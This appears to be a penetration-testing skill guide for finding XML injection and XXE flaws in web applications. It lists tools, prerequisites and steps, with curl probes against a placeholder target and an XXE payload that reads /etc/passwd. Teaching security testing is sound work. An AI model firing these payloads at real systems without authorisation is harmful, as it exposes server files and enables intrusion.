| name | testing-for-xml-injection-vulnerabilities |
| description | Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["xml-injection","xxe","xpath-injection","xml-parsing","web-security","entity-injection","dtd-attack"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Testing for XML Injection Vulnerabilities
When to Use
- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)
- During penetration testing of applications with XML parsers
- When assessing SAML-based authentication implementations
- When testing file import/export functionality that handles XML formats
- During API security testing of SOAP or XML-based web services
Prerequisites
- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)
- XMLLint or similar XML validation tools
- Understanding of XML structure, DTDs, and entity processing
- Python 3.x with lxml and requests libraries
- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)
- Sample XXE payloads from PayloadsAllTheThings repository
Workflow
Step 1 — Identify XML Processing Endpoints
curl -s http://target.com/service?wsdl
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
Step 2 — Test for Basic XXE (File Retrieval)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
